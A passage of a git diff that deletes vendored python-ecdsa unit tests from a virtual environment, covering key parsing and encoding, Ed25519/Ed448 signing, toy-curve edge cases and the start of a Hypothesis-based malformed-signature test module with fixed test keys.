b"\xad\x46\x3c\x91\x68\x83\x4d\xea\x8d\xa8\x19\x04\x04\x79\x03\x0b" - ) - - self.assertTrue(vk.verify(sig, data)) - - def test_ed25519_sig_verify_malformed(self): - vk_pem = ( - "-----BEGIN PUBLIC KEY-----\n" - "MCowBQYDK2VwAyEAIwBQ0NZkIiiO41WJfm5BV42u3kQm7lYnvIXmCy8qy2U=\n" - "-----END PUBLIC KEY-----\n" - ) - - vk = VerifyingKey.from_pem(vk_pem) - - data = b"data\n" - - # modified signature from test_ed25519_sig_verify - sig = ( - b"\xAA\x47\xab\x6a\x33\xcd\x79\x45\xad\x98\x11\x6c\xb9\xf2\x20\xeb" - b"\x90\xd6\x50\xe3\xc7\x8f\x9f\x60\x10\xec\x75\xe0\x2f\x27\xd3\x96" - b"\xda\xe8\x58\x7f\xe0\xfe\x46\x5c\x81\xef\x50\xec\x29\x9f\xae\xd5" - b"\xad\x46\x3c\x91\x68\x83\x4d\xea\x8d\xa8\x19\x04\x04\x79\x03\x0b" - ) - - with self.assertRaises(BadSignatureError): - vk.verify(sig, data) - - def test_ed448_from_pem(self): - pem_str = ( - "-----BEGIN PUBLIC KEY-----\n" - "MEMwBQYDK2VxAzoAeQtetSu7CMEzE+XWB10Bg47LCA0giNikOxHzdp+tZ/eK/En0\n" - "dTdYD2ll94g58MhSnBiBQB9A1MMA\n" - "-----END PUBLIC KEY-----\n" - ) - - vk = VerifyingKey.from_pem(pem_str) - - self.assertIsInstance(vk.curve, Curve) - self.assertIs(vk.curve, Ed448) - - vk_str = ( - b"\x79\x0b\x5e\xb5\x2b\xbb\x08\xc1\x33\x13\xe5\xd6\x07\x5d\x01\x83" - b"\x8e\xcb\x08\x0d\x20\x88\xd8\xa4\x3b\x11\xf3\x76\x9f\xad\x67\xf7" - b"\x8a\xfc\x49\xf4\x75\x37\x58\x0f\x69\x65\xf7\x88\x39\xf0\xc8\x52" - b"\x9c\x18\x81\x40\x1f\x40\xd4\xc3\x00" - ) - - vk2 = VerifyingKey.from_string(vk_str, Ed448) - - self.assertEqual(vk, vk2) - - def test_ed448_to_pem(self): - vk_str = ( - b"\x79\x0b\x5e\xb5\x2b\xbb\x08\xc1\x33\x13\xe5\xd6\x07\x5d\x01\x83" - b"\x8e\xcb\x08\x0d\x20\x88\xd8\xa4\x3b\x11\xf3\x76\x9f\xad\x67\xf7" - b"\x8a\xfc\x49\xf4\x75\x37\x58\x0f\x69\x65\xf7\x88\x39\xf0\xc8\x52" - b"\x9c\x18\x81\x40\x1f\x40\xd4\xc3\x00" - ) - vk = VerifyingKey.from_string(vk_str, Ed448) - - vk_pem = ( - b"-----BEGIN PUBLIC KEY-----\n" - b"MEMwBQYDK2VxAzoAeQtetSu7CMEzE+XWB10Bg47LCA0giNikOxHzdp+tZ/eK/En0dTdYD2ll94g5\n" - b"8MhSnBiBQB9A1MMA\n" - b"-----END PUBLIC KEY-----\n" - ) - - self.assertEqual(vk_pem, vk.to_pem()) - - def test_ed448_export_import(self): - sk = SigningKey.generate(Ed448) - vk = sk.verifying_key - - vk2 = VerifyingKey.from_pem(vk.to_pem()) - - self.assertEqual(vk, vk2) - - def test_ed448_sig_verify(self): - pem_str = ( - "-----BEGIN PUBLIC KEY-----\n" - "MEMwBQYDK2VxAzoAeQtetSu7CMEzE+XWB10Bg47LCA0giNikOxHzdp+tZ/eK/En0\n" - "dTdYD2ll94g58MhSnBiBQB9A1MMA\n" - "-----END PUBLIC KEY-----\n" - ) - - vk = VerifyingKey.from_pem(pem_str) - - data = b"data\n" - - # signature created by OpenSSL 3.0.0 beta1 - sig = ( - b"\x68\xed\x2c\x70\x35\x22\xca\x1c\x35\x03\xf3\xaa\x51\x33\x3d\x00" - b"\xc0\xae\xb0\x54\xc5\xdc\x7f\x6f\x30\x57\xb4\x1d\xcb\xe9\xec\xfa" - b"\xc8\x45\x3e\x51\xc1\xcb\x60\x02\x6a\xd0\x43\x11\x0b\x5f\x9b\xfa" - b"\x32\x88\xb2\x38\x6b\xed\xac\x09\x00\x78\xb1\x7b\x5d\x7e\xf8\x16" - b"\x31\xdd\x1b\x3f\x98\xa0\xce\x19\xe7\xd8\x1c\x9f\x30\xac\x2f\xd4" - b"\x1e\x55\xbf\x21\x98\xf6\x4c\x8c\xbe\x81\xa5\x2d\x80\x4c\x62\x53" - b"\x91\xd5\xee\x03\x30\xc6\x17\x66\x4b\x9e\x0c\x8d\x40\xd0\xad\xae" - b"\x0a\x00" - ) - - self.assertTrue(vk.verify(sig, data)) - - -class TestSigningKey(unittest.TestCase): - """ - Verify that ecdsa.keys.SigningKey.from_der() can be used with - bytes-like objects. - """ - - @classmethod - def setUpClass(cls): - prv_key_str = ( - "-----BEGIN EC PRIVATE KEY-----\n" - "MF8CAQEEGF7IQgvW75JSqULpiQQ8op9WH6Uldw6xxaAKBggqhkjOPQMBAaE0AzIA\n" - "BLiBd9CE7xf15FY5QIAoNg+fWbSk1yZOYtoGUdzkejWkxbRc9RWTQjqLVXucIJnz\n" - "bA==\n" - "-----END EC PRIVATE KEY-----\n" - ) - cls.sk1 = SigningKey.from_pem(prv_key_str) - - prv_key_str = ( - "-----BEGIN PRIVATE KEY-----\n" - "MG8CAQAwEwYHKoZIzj0CAQYIKoZIzj0DAQEEVTBTAgEBBBheyEIL1u+SUqlC6YkE\n" - "PKKfVh+lJXcOscWhNAMyAAS4gXfQhO8X9eRWOUCAKDYPn1m0pNcmTmLaBlHc5Ho1\n" - "pMW0XPUVk0I6i1V7nCCZ82w=\n" - "-----END PRIVATE KEY-----\n" - ) - cls.sk1_pkcs8 = SigningKey.from_pem(prv_key_str) - - prv_key_str = ( - "-----BEGIN EC PRIVATE KEY-----\n" - "MHcCAQEEIKlL2EAm5NPPZuXwxRf4nXMk0A80y6UUbiQ17be/qFhRoAoGCCqGSM49\n" - "AwEHoUQDQgAE4H3iRbG4TSrsSRb/gusPQB/4YcN8Poqzgjau4kfxBPyZimeRfuY/\n" - "9g/wMmPuhGl4BUve51DsnKJFRr8psk0ieA==\n" - "-----END EC PRIVATE KEY-----\n" - ) - cls.sk2 = SigningKey.from_pem(prv_key_str) - - def test_to_der_pkcs8(self): - self.assertEqual( - self.sk1.to_der(format="pkcs8"), - b"0o\x02\x01\x010\x13\x06\x07*\x86H\xce=\x02\x01\x06\x08*\x86H" - b"\xce=\x03\x01\x01\x04U0S\x02\x01\x01\x04\x18^\xc8B\x0b\xd6\xef" - b"\x92R\xa9B\xe9\x89\x04<\xa2\x9fV\x1f\xa5%w\x0e\xb1\xc5\xa14\x03" - b"2\x00\x04\xb8\x81w\xd0\x84\xef\x17\xf5\xe4V9@\x80(6\x0f\x9fY" - b"\xb4\xa4\xd7&Nb\xda\x06Q\xdc\xe4z5\xa4\xc5\xb4\\\xf5\x15\x93B:" - b"\x8bU{\x9c \x99\xf3l", - ) - - def test_decoding_explicit_curve_parameters(self): - prv_key_str = ( - "-----BEGIN PRIVATE KEY-----\n" - "MIIBeQIBADCCAQMGByqGSM49AgEwgfcCAQEwLAYHKoZIzj0BAQIhAP////8AAAAB\n" - "AAAAAAAAAAAAAAAA////////////////MFsEIP////8AAAABAAAAAAAAAAAAAAAA\n" - "///////////////8BCBaxjXYqjqT57PrvVV2mIa8ZR0GsMxTsPY7zjw+J9JgSwMV\n" - "AMSdNgiG5wSTamZ44ROdJreBn36QBEEEaxfR8uEsQkf4vOblY6RA8ncDfYEt6zOg\n" - "9KE5RdiYwpZP40Li/hp/m47n60p8D54WK84zV2sxXs7LtkBoN79R9QIhAP////8A\n" - "AAAA//////////+85vqtpxeehPO5ysL8YyVRAgEBBG0wawIBAQQgIXtREfUmR16r\n" - "ZbmvDGD2lAEFPZa2DLPyz0czSja58yChRANCAASK9VJIGLOY5mxXO4rdf2CNl0//\n" - "yJWhIzDWX7daMI6qQWB9hKyR5OFOT6eFr1qtcZh8CGZbB+yIOCpnnwn0ekpl\n" - "-----END PRIVATE KEY-----\n" - ) - - sk = SigningKey.from_pem(prv_key_str) - - sk2 = SigningKey.from_string( - b"\x21\x7b\x51\x11\xf5\x26\x47\x5e\xab\x65\xb9\xaf\x0c\x60\xf6" - b"\x94\x01\x05\x3d\x96\xb6\x0c\xb3\xf2\xcf\x47\x33\x4a\x36\xb9" - b"\xf3\x20", - curve=NIST256p, - ) - - self.assertEqual(sk, sk2) - - def test_decoding_explicit_curve_parameters_with_explicit_disabled(self): - prv_key_str = ( - "-----BEGIN PRIVATE KEY-----\n" - "MIIBeQIBADCCAQMGByqGSM49AgEwgfcCAQEwLAYHKoZIzj0BAQIhAP////8AAAAB\n" - "AAAAAAAAAAAAAAAA////////////////MFsEIP////8AAAABAAAAAAAAAAAAAAAA\n" - "///////////////8BCBaxjXYqjqT57PrvVV2mIa8ZR0GsMxTsPY7zjw+J9JgSwMV\n" - "AMSdNgiG5wSTamZ44ROdJreBn36QBEEEaxfR8uEsQkf4vOblY6RA8ncDfYEt6zOg\n" - "9KE5RdiYwpZP40Li/hp/m47n60p8D54WK84zV2sxXs7LtkBoN79R9QIhAP////8A\n" - "AAAA//////////+85vqtpxeehPO5ysL8YyVRAgEBBG0wawIBAQQgIXtREfUmR16r\n" - "ZbmvDGD2lAEFPZa2DLPyz0czSja58yChRANCAASK9VJIGLOY5mxXO4rdf2CNl0//\n" - "yJWhIzDWX7daMI6qQWB9hKyR5OFOT6eFr1qtcZh8CGZbB+yIOCpnnwn0ekpl\n" - "-----END PRIVATE KEY-----\n" - ) - - with self.assertRaises(UnexpectedDER): - SigningKey.from_pem( - prv_key_str, valid_curve_encodings=["named_curve"] - ) - - def test_equality_on_signing_keys(self): - sk = SigningKey.from_secret_exponent( - self.sk1.privkey.secret_multiplier, self.sk1.curve - ) - self.assertEqual(self.sk1, sk) - self.assertEqual(self.sk1_pkcs8, sk) - - def test_verify_with_empty_message(self): - sig = self.sk1.sign(b"") - - self.assertTrue(sig) - - vk = self.sk1.verifying_key - - self.assertTrue(vk.verify(sig, b"")) - - def test_verify_with_precompute(self): - sig = self.sk1.sign(b"message") - - vk = self.sk1.verifying_key - - vk.precompute() - - self.assertTrue(vk.verify(sig, b"message")) - - def test_compare_verifying_key_with_precompute(self): - vk1 = self.sk1.verifying_key - vk1.precompute() - - vk2 = self.sk1_pkcs8.verifying_key - - self.assertEqual(vk1, vk2) - - def test_verify_with_lazy_precompute(self): - sig = self.sk2.sign(b"other message") - - vk = self.sk2.verifying_key - - vk.precompute(lazy=True) - - self.assertTrue(vk.verify(sig, b"other message")) - - def test_inequality_on_signing_keys(self): - self.assertNotEqual(self.sk1, self.sk2) - - def test_inequality_on_signing_keys_not_implemented(self): - self.assertNotEqual(self.sk1, None) - - def test_ed25519_from_pem(self): - pem_str = ( - "-----BEGIN PRIVATE KEY-----\n" - "MC4CAQAwBQYDK2VwBCIEIDS6x9FO1PG8T4xIPg8Zd0z8uL6sVGZFEZrX17gHC/XU\n" - "-----END PRIVATE KEY-----\n" - ) - - sk = SigningKey.from_pem(pem_str) - - sk_str = SigningKey.from_string( - b"\x34\xBA\xC7\xD1\x4E\xD4\xF1\xBC\x4F\x8C\x48\x3E\x0F\x19\x77\x4C" - b"\xFC\xB8\xBE\xAC\x54\x66\x45\x11\x9A\xD7\xD7\xB8\x07\x0B\xF5\xD4", - Ed25519, - ) - - self.assertEqual(sk, sk_str) - - def test_ed25519_from_der_bad_alg_id_params(self): - der_str = encode_sequence( - encode_integer(1), - encode_sequence(encode_oid(*Ed25519.oid), encode_integer(1)), - encode_octet_string(encode_octet_string(b"A" * 32)), - ) - - with self.assertRaises(UnexpectedDER) as e: - SigningKey.from_der(der_str) - - self.assertIn("Non NULL parameters", str(e.exception)) - - def test_ed25519_from_der_junk_after_priv_key(self): - der_str = encode_sequence( - encode_integer(1), - encode_sequence( - encode_oid(*Ed25519.oid), - ), - encode_octet_string(encode_octet_string(b"A" * 32) + b"B"), - ) - - with self.assertRaises(UnexpectedDER) as e: - SigningKey.from_der(der_str) - - self.assertIn( - "trailing junk after the encoded private key", str(e.exception) - ) - - def test_ed25519_sign(self): - sk_str = SigningKey.from_string( - b"\x34\xBA\xC7\xD1\x4E\xD4\xF1\xBC\x4F\x8C\x48\x3E\x0F\x19\x77\x4C" - b"\xFC\xB8\xBE\xAC\x54\x66\x45\x11\x9A\xD7\xD7\xB8\x07\x0B\xF5\xD4", - Ed25519, - ) - - msg = b"message" - - sig = sk_str.sign(msg, sigencode=sigencode_der) - - self.assertEqual( - sig, - b"\xe1,v\xc9>%\xda\xd2~>\xc3&\na\xf4@|\x9e`X\x11\x13@<\x987\xd4" - b"\r\xb1\xf5\xb3\x15\x7f%i{\xdf}\xdd\xb1\xf3\x02\x7f\x80\x02\xc2" - b'|\xe5\xd6\x06\xc4\n\xa3\xb0\xf6}\xc0\xed)"+E\xaf\x00', - ) - - def test_ed25519_sign_digest_deterministic(self): - sk_str = SigningKey.from_string( - b"\x34\xBA\xC7\xD1\x4E\xD4\xF1\xBC\x4F\x8C\x48\x3E\x0F\x19\x77\x4C" - b"\xFC\xB8\xBE\xAC\x54\x66\x45\x11\x9A\xD7\xD7\xB8\x07\x0B\xF5\xD4", - Ed25519, - ) - with self.assertRaises(ValueError) as e: - sk_str.sign_digest_deterministic(b"a" * 20) - - self.assertIn("Method unsupported for Edwards", str(e.exception)) - - def test_ed25519_sign_digest(self): - sk_str = SigningKey.from_string( - b"\x34\xBA\xC7\xD1\x4E\xD4\xF1\xBC\x4F\x8C\x48\x3E\x0F\x19\x77\x4C" - b"\xFC\xB8\xBE\xAC\x54\x66\x45\x11\x9A\xD7\xD7\xB8\x07\x0B\xF5\xD4", - Ed25519, - ) - with self.assertRaises(ValueError) as e: - sk_str.sign_digest(b"a" * 20) - - self.assertIn("Method unsupported for Edwards", str(e.exception)) - - def test_ed25519_sign_number(self): - sk_str = SigningKey.from_string( - b"\x34\xBA\xC7\xD1\x4E\xD4\xF1\xBC\x4F\x8C\x48\x3E\x0F\x19\x77\x4C" - b"\xFC\xB8\xBE\xAC\x54\x66\x45\x11\x9A\xD7\xD7\xB8\x07\x0B\xF5\xD4", - Ed25519, - ) - with self.assertRaises(ValueError) as e: - sk_str.sign_number(20) - - self.assertIn("Method unsupported for Edwards", str(e.exception)) - - def test_ed25519_to_der_ssleay(self): - pem_str = ( - "-----BEGIN PRIVATE KEY-----\n" - "MC4CAQAwBQYDK2VwBCIEIDS6x9FO1PG8T4xIPg8Zd0z8uL6sVGZFEZrX17gHC/XU\n" - "-----END PRIVATE KEY-----\n" - ) - - sk = SigningKey.from_pem(pem_str) - - with self.assertRaises(ValueError) as e: - sk.to_der(format="ssleay") - - self.assertIn("Only PKCS#8 format", str(e.exception)) - - def test_ed25519_to_pem(self): - sk = SigningKey.from_string( - b"\x34\xBA\xC7\xD1\x4E\xD4\xF1\xBC\x4F\x8C\x48\x3E\x0F\x19\x77\x4C" - b"\xFC\xB8\xBE\xAC\x54\x66\x45\x11\x9A\xD7\xD7\xB8\x07\x0B\xF5\xD4", - Ed25519, - ) - - pem_str = ( - b"-----BEGIN PRIVATE KEY-----\n" - b"MC4CAQAwBQYDK2VwBCIEIDS6x9FO1PG8T4xIPg8Zd0z8uL6sVGZFEZrX17gHC/XU\n" - b"-----END PRIVATE KEY-----\n" - ) - - self.assertEqual(sk.to_pem(format="pkcs8"), pem_str) - - def test_ed25519_to_ssh(self): - sk = SigningKey.from_string( - b"\x34\xBA\xC7\xD1\x4E\xD4\xF1\xBC\x4F\x8C\x48\x3E\x0F\x19\x77\x4C" - b"\xFC\xB8\xBE\xAC\x54\x66\x45\x11\x9A\xD7\xD7\xB8\x07\x0B\xF5\xD4", - Ed25519, - ) - - ssh_str = ( - b"-----BEGIN OPENSSH PRIVATE KEY-----\n" - b"b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZWQyNTUx\n" - b"OQAAACAjAFDQ1mQiKI7jVYl+bkFXja7eRCbuVie8heYLLyrLZQAAAIgAAAAAAAAAAAAAAAtzc2gt\n" - b"ZWQyNTUxOQAAACAjAFDQ1mQiKI7jVYl+bkFXja7eRCbuVie8heYLLyrLZQAAAEA0usfRTtTxvE+M\n" - b"SD4PGXdM/Li+rFRmRRGa19e4Bwv11CMAUNDWZCIojuNViX5uQVeNrt5EJu5WJ7yF5gsvKstlAAAA\n" - b"AAECAwQF\n" - b"-----END OPENSSH PRIVATE KEY-----\n" - ) - - self.assertEqual(sk.to_ssh(), ssh_str) - - def test_ed25519_to_and_from_pem(self): - sk = SigningKey.generate(Ed25519) - - decoded = SigningKey.from_pem(sk.to_pem(format="pkcs8")) - - self.assertEqual(sk, decoded) - - def test_ed25519_custom_entropy(self): - sk = SigningKey.generate(Ed25519, entropy=os.urandom) - - self.assertIsNotNone(sk) - - def test_ed25519_from_secret_exponent(self): - with self.assertRaises(ValueError) as e: - SigningKey.from_secret_exponent(1234567890, curve=Ed25519) - - self.assertIn("don't support setting the secret", str(e.exception)) - - def test_ed448_from_pem(self): - pem_str = ( - "-----BEGIN PRIVATE KEY-----\n" - "MEcCAQAwBQYDK2VxBDsEOTyFuXqFLXgJlV8uDqcOw9nG4IqzLiZ/i5NfBDoHPzmP\n" - "OP0JMYaLGlTzwovmvCDJ2zLaezu9NLz9aQ==\n" - "-----END PRIVATE KEY-----\n" - ) - sk = SigningKey.from_pem(pem_str) - - sk_str = SigningKey.from_string( - b"\x3C\x85\xB9\x7A\x85\x2D\x78\x09\x95\x5F\x2E\x0E\xA7\x0E\xC3\xD9" - b"\xC6\xE0\x8A\xB3\x2E\x26\x7F\x8B\x93\x5F\x04\x3A\x07\x3F\x39\x8F" - b"\x38\xFD\x09\x31\x86\x8B\x1A\x54\xF3\xC2\x8B\xE6\xBC\x20\xC9\xDB" - b"\x32\xDA\x7B\x3B\xBD\x34\xBC\xFD\x69", - Ed448, - ) - - self.assertEqual(sk, sk_str) - - def test_ed448_to_pem(self): - sk = SigningKey.from_string( - b"\x3C\x85\xB9\x7A\x85\x2D\x78\x09\x95\x5F\x2E\x0E\xA7\x0E\xC3\xD9" - b"\xC6\xE0\x8A\xB3\x2E\x26\x7F\x8B\x93\x5F\x04\x3A\x07\x3F\x39\x8F" - b"\x38\xFD\x09\x31\x86\x8B\x1A\x54\xF3\xC2\x8B\xE6\xBC\x20\xC9\xDB" - b"\x32\xDA\x7B\x3B\xBD\x34\xBC\xFD\x69", - Ed448, - ) - pem_str = ( - b"-----BEGIN PRIVATE KEY-----\n" - b"MEcCAQAwBQYDK2VxBDsEOTyFuXqFLXgJlV8uDqcOw9nG4IqzLiZ/i5NfBDoHPzmPOP0JMYaLGlTz\n" - b"wovmvCDJ2zLaezu9NLz9aQ==\n" - b"-----END PRIVATE KEY-----\n" - ) - - self.assertEqual(sk.to_pem(format="pkcs8"), pem_str) - - def test_ed448_encode_decode(self): - sk = SigningKey.generate(Ed448) - - decoded = SigningKey.from_pem(sk.to_pem(format="pkcs8")) - - self.assertEqual(decoded, sk) - - -class TestTrivialCurve(unittest.TestCase): - @classmethod - def setUpClass(cls): - # To test what happens with r or s in signing happens to be zero we - # need to find a scalar that creates one of the points on a curve that - # has x coordinate equal to zero. - # Even for secp112r2 curve that's non trivial so use this toy - # curve, for which we can iterate over all points quickly - curve = CurveFp(163, 84, 58) - gen = PointJacobi(curve, 2, 87, 1, 167, generator=True) - - cls.toy_curve = Curve("toy_p8", curve, gen, (1, 2, 0)) - - cls.sk = SigningKey.from_secret_exponent( - 140, - cls.toy_curve, - hashfunc=hashlib.sha1, - ) - - def test_generator_sanity(self): - gen = self.toy_curve.generator - - self.assertEqual(gen * gen.order(), INFINITY) - - def test_public_key_sanity(self): - self.assertEqual(self.sk.verifying_key.to_string(), b"\x98\x1e") - - def test_deterministic_sign(self): - sig = self.sk.sign_deterministic(b"message") - - self.assertEqual(sig, b"-.") - - self.assertTrue(self.sk.verifying_key.verify(sig, b"message")) - - def test_deterministic_sign_random_message(self): - msg = os.urandom(32) - sig = self.sk.sign_deterministic(msg) - self.assertEqual(len(sig), 2) - self.assertTrue(self.sk.verifying_key.verify(sig, msg)) - - def test_deterministic_sign_that_rises_R_zero_error(self): - # the raised RSZeroError is caught and handled internally by - # sign_deterministic methods - msg = b"\x00\x4f" - sig = self.sk.sign_deterministic(msg) - self.assertEqual(sig, b"\x36\x9e") - self.assertTrue(self.sk.verifying_key.verify(sig, msg)) - - def test_deterministic_sign_that_rises_S_zero_error(self): - msg = b"\x01\x6d" - sig = self.sk.sign_deterministic(msg) - self.assertEqual(sig, b"\x49\x6c") - self.assertTrue(self.sk.verifying_key.verify(sig, msg)) - - -# test VerifyingKey.verify() -prv_key_str = ( - "-----BEGIN EC PRIVATE KEY-----\n" - "MF8CAQEEGF7IQgvW75JSqULpiQQ8op9WH6Uldw6xxaAKBggqhkjOPQMBAaE0AzIA\n" - "BLiBd9CE7xf15FY5QIAoNg+fWbSk1yZOYtoGUdzkejWkxbRc9RWTQjqLVXucIJnz\n" - "bA==\n" - "-----END EC PRIVATE KEY-----\n" -) -key_bytes = unpem(prv_key_str) -assert isinstance(key_bytes, bytes) -sk = SigningKey.from_der(key_bytes) -vk = sk.verifying_key - -data = ( - b"some string for signing" - b"contents don't really matter" - b"but do include also some crazy values: " - b"\x00\x01\t\r\n\x00\x00\x00\xff\xf0" -) -assert len(data) % 4 == 0 -sha1 = hashlib.sha1() -sha1.update(data) -data_hash = sha1.digest() -assert isinstance(data_hash, bytes) -sig_raw = sk.sign(data, sigencode=sigencode_string) -assert isinstance(sig_raw, bytes) -sig_der = sk.sign(data, sigencode=sigencode_der) -assert isinstance(sig_der, bytes) -sig_strings = sk.sign(data, sigencode=sigencode_strings) -assert isinstance(sig_strings[0], bytes) - -verifiers = [] -for modifier, fun in [ - ("bytes", lambda x: x), - ("bytes memoryview", buffer), - ("bytearray", bytearray), - ("bytearray memoryview", lambda x: buffer(bytearray(x))), - ("array.array of bytes", lambda x: array.array("B", x)), - ("array.array of bytes memoryview", lambda x: buffer(array.array("B", x))), - ("array.array of ints", lambda x: array.array("I", x)), - ("array.array of ints memoryview", lambda x: buffer(array.array("I", x))), -]: - if "ints" in modifier: - conv = lambda x: x - else: - conv = fun - for sig_format, signature, decoder, mod_apply in [ - ("raw", sig_raw, sigdecode_string, lambda x: conv(x)), - ("der", sig_der, sigdecode_der, lambda x: conv(x)), - ( - "strings", - sig_strings, - sigdecode_strings, - lambda x: tuple(conv(i) for i in x), - ), - ]: - for method_name, vrf_mthd, vrf_data in [ - ("verify", vk.verify, data), - ("verify_digest", vk.verify_digest, data_hash), - ]: - verifiers.append( - pytest.param( - signature, - decoder, - mod_apply, - fun, - vrf_mthd, - vrf_data, - id="{2}-{0}-{1}".format(modifier, sig_format, method_name), - ) - ) - - -@pytest.mark.parametrize( - "signature,decoder,mod_apply,fun,vrf_mthd,vrf_data", verifiers -) -def test_VerifyingKey_verify( - signature, decoder, mod_apply, fun, vrf_mthd, vrf_data -): - sig = mod_apply(signature) - - assert vrf_mthd(sig, fun(vrf_data), sigdecode=decoder) - - -# test SigningKey.from_string() -prv_key_bytes = ( - b"^\xc8B\x0b\xd6\xef\x92R\xa9B\xe9\x89\x04<\xa2" - b"\x9fV\x1f\xa5%w\x0e\xb1\xc5" -) -assert len(prv_key_bytes) == 24 -converters = [] -for modifier, convert in [ - ("bytes", lambda x: x), - ("bytes memoryview", buffer), - ("bytearray", bytearray), - ("bytearray memoryview", lambda x: buffer(bytearray(x))), - ("array.array of bytes", lambda x: array.array("B", x)), - ("array.array of bytes memoryview", lambda x: buffer(array.array("B", x))), - ("array.array of ints", lambda x: array.array("I", x)), - ("array.array of ints memoryview", lambda x: buffer(array.array("I", x))), -]: - converters.append(pytest.param(convert, id=modifier)) - - -@pytest.mark.parametrize("convert", converters) -def test_SigningKey_from_string(convert): - key = convert(prv_key_bytes) - sk = SigningKey.from_string(key) - - assert sk.to_string() == prv_key_bytes - - -# test SigningKey.from_der() -prv_key_str = ( - "-----BEGIN EC PRIVATE KEY-----\n" - "MF8CAQEEGF7IQgvW75JSqULpiQQ8op9WH6Uldw6xxaAKBggqhkjOPQMBAaE0AzIA\n" - "BLiBd9CE7xf15FY5QIAoNg+fWbSk1yZOYtoGUdzkejWkxbRc9RWTQjqLVXucIJnz\n" - "bA==\n" - "-----END EC PRIVATE KEY-----\n" -) -key_bytes = unpem(prv_key_str) -assert isinstance(key_bytes, bytes) - -# last two converters are for array.array of ints, those require input -# that's multiple of 4, which no curve we support produces -@pytest.mark.parametrize("convert", converters[:-2]) -def test_SigningKey_from_der(convert): - key = convert(key_bytes) - sk = SigningKey.from_der(key) - - assert sk.to_string() == prv_key_bytes - - -# test SigningKey.sign_deterministic() -extra_entropy = b"\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11" - - -@pytest.mark.parametrize("convert", converters) -def test_SigningKey_sign_deterministic(convert): - sig = sk.sign_deterministic( - convert(data), extra_entropy=convert(extra_entropy) - ) - - vk.verify(sig, data) - - -# test SigningKey.sign_digest_deterministic() -@pytest.mark.parametrize("convert", converters) -def test_SigningKey_sign_digest_deterministic(convert): - sig = sk.sign_digest_deterministic( - convert(data_hash), extra_entropy=convert(extra_entropy) - ) - - vk.verify(sig, data) - - -@pytest.mark.parametrize("convert", converters) -def test_SigningKey_sign(convert): - sig = sk.sign(convert(data)) - - vk.verify(sig, data) - - -@pytest.mark.parametrize("convert", converters) -def test_SigningKey_sign_digest(convert): - sig = sk.sign_digest(convert(data_hash)) - - vk.verify(sig, data) - - -def test_SigningKey_with_unlikely_value(): - sk = SigningKey.from_secret_exponent(NIST256p.order - 1, curve=NIST256p) - vk = sk.verifying_key - sig = sk.sign(b"hello") - assert vk.verify(sig, b"hello") - - -def test_SigningKey_with_custom_curve_old_point(): - generator = generator_brainpoolp160r1 - generator = Point( - generator.curve(), - generator.x(), - generator.y(), - generator.order(), - ) - - curve = Curve( - "BRAINPOOLP160r1", - generator.curve(), - generator, - (1, 3, 36, 3, 3, 2, 8, 1, 1, 1), - ) - - sk = SigningKey.from_secret_exponent(12, curve) - - sk2 = SigningKey.from_secret_exponent(12, BRAINPOOLP160r1) - - assert sk.privkey == sk2.privkey - - -def test_VerifyingKey_inequality_with_different_curves(): - sk1 = SigningKey.from_secret_exponent(2, BRAINPOOLP160r1) - sk2 = SigningKey.from_secret_exponent(2, NIST256p) - - assert not (sk1.verifying_key == sk2.verifying_key) - - -def test_VerifyingKey_inequality_with_different_secret_points(): - sk1 = SigningKey.from_secret_exponent(2, BRAINPOOLP160r1) - sk2 = SigningKey.from_secret_exponent(3, BRAINPOOLP160r1) - - assert not (sk1.verifying_key == sk2.verifying_key) - - -def test_SigningKey_from_pem_pkcs8v2_EdDSA(): - pem = """-----BEGIN PRIVATE KEY----- - MFMCAQEwBQYDK2VwBCIEICc2F2ag1n1QP0jY+g9qWx5sDkx0s/HdNi3cSRHw+zsI - oSMDIQA+HQ2xCif8a/LMWR2m5HaCm5I2pKe/cc8OiRANMHxjKQ== - -----END PRIVATE KEY-----""" - - sk = SigningKey.from_pem(pem) - assert sk.curve == Ed25519 diff --git a/venv/Lib/site-packages/ecdsa/test_malformed_sigs.py b/venv/Lib/site-packages/ecdsa/test_malformed_sigs.py deleted file mode 100644 index e5a87c28a18e4f1f9bde2375cd0d6fb8e8c6ecc1..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/ecdsa/test_malformed_sigs.py +++ /dev/null @@ -1,378 +0,0 @@ -from __future__ import with_statement, division - -import hashlib - -try: - from hashlib import algorithms_available -except ImportError: # pragma: no cover - algorithms_available = [ - "md5", - "sha1", - "sha224", - "sha256", - "sha384", - "sha512", - ] -# skip algorithms broken by change to OpenSSL 3.0 and early versions -# of hashlib that list algorithms that require the legacy provider to work -# https://bugs.python.org/issue38820 -algorithms_available = [ - i - for i in algorithms_available - if i not in ("mdc2", "md2", "md4", "whirlpool", "ripemd160") -] -from functools import partial -import pytest -import sys -import hypothesis.strategies as st -from hypothesis import note, assume, given, settings, example - -from .keys import SigningKey -from .keys import BadSignatureError -from .util import sigencode_der, sigencode_string -from .util import sigdecode_der, sigdecode_string -from .curves import curves, SECP112r2, SECP128r1 -from .der import ( - encode_integer, - encode_bitstring, - encode_octet_string, - encode_oid, - encode_sequence, - encode_constructed, -) -from .ellipticcurve import CurveEdTw - - -example_data = b"some data to sign" -"""Since the data is hashed for processing, really any string will do.""" - - -hash_and_size = [ - (name, hashlib.new(name).digest_size) for name in algorithms_available -] -"""Pairs of hash names and their output sizes. -Needed for pairing with curves as we don't support hashes -bigger than order sizes of curves.""" - - -if "--fast" in sys.argv: # pragma: no cover - curves = [SECP112r2, SECP128r1] - - -keys_and_sigs = [] -"""Name of the curve+hash combination, VerifyingKey and DER signature.""" - - -# for hypothesis strategy shrinking we want smallest curves and hashes first -for curve in sorted(curves, key=lambda x: x.baselen): - for hash_alg in [ - name - for name, size in sorted(hash_and_size, key=lambda x: x[1]) - if 0 < size <= curve.baselen - ]: - sk = SigningKey.generate( - curve, hashfunc=partial(hashlib.new, hash_alg) - ) - - keys_and_sigs.append( - ( - "{0} {1}".format(curve, hash_alg), - sk.verifying_key, - sk.sign(example_data, sigencode=sigencode_der), - ) - ) - - -# first make sure that the signatures can be verified -@pytest.mark.parametrize( - "verifying_key,signature", - [pytest.param(vk, sig, id=name) for name, vk, sig in keys_and_sigs], -) -def test_signatures(verifying_key, signature): - assert verifying_key.verify( - signature, example_data, sigdecode=sigdecode_der - ) - - -@st.composite -def st_fuzzed_sig(draw, keys_and_sigs): # pragma: no cover - """ - Hypothesis strategy that generates pairs of VerifyingKey and malformed - signatures created by fuzzing of a valid signature. - """ - name, 